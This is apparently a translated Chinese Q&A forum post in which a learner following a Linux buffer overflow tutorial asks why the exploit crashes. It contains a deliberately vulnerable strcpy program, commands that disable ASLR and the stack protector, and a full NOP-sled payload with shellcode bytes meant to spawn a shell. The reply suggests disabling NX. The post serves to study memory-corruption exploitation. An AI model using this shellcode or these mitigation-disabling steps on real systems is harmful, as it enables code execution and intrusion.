我在看一个关于如何在linux上做缓冲区溢出的教程。在我试着做最后一件事之前,一切都很顺利。我在谷歌上搜索了一遍又一遍,但什么也没找到。
我的缓冲区溢出可利用的C代码(可利用的.C):

#include <string.h>

int main(int argc, char** argv)
{
    char buf[500];
    strcpy(buf, argv[1]);
    return 0;
}

我如何编译:
我删除了va_空间的随机化(不确定它做什么,但我知道它允许缓冲区溢出):echo 0 > /proc/sys/kernel/randomize_va_space
我使用以下命令编译:gcc -fno-stack-protector -mpreferred-stack-boundary=2 -o exploitable exploitable.c
我使用gdb运行它,并发现这个命令应该为我提供一个/bin/bashshell:
./exploitable $(ruby -e 'print "\x90" * 212 + "\xbb\xac\x02\x93\xb0\xda\xdb\xd9\x74\x24\xf4\x5a\x29\xc9" + "\xb1\x0e\x31\x5a\x15\x83\xc2\x04\x03\x5a\x11\xe2\x59\x33" + "\x5a\x81\x7a\xc3\xbf\x52\xd8\xe1\xc0\xf9\x2b\xa2\x59\xaf" + "\x4d\x3a\x77\x33\x18\x5d\xef\x9c\x69\xca\xf0\x8a\xa2\x68" + "\x98\x24\x35\x8f\x08\x51\x4f\x50\xad\xa1\x60\x32\xc4\xcf" + "\x51\xd0\x77\x63\xc5\x14\x2f\xd0\x9c\xf4\x02\x56" + "\x90" * 210 + "\x44\xf1\xff\xbf"')
但是这不起作用。
在gdb中运行它,我发现$eip被正确设置为0xbffff144(第一轮nops的中间)。出于某种原因,这给了我一个SIGSEGV错误:
我不知道我是做错了什么,还是还有一个故障保险,我必须关掉。

最佳答案

也许gcc选项(对于链接器)可以禁用NX。

10-05 21:10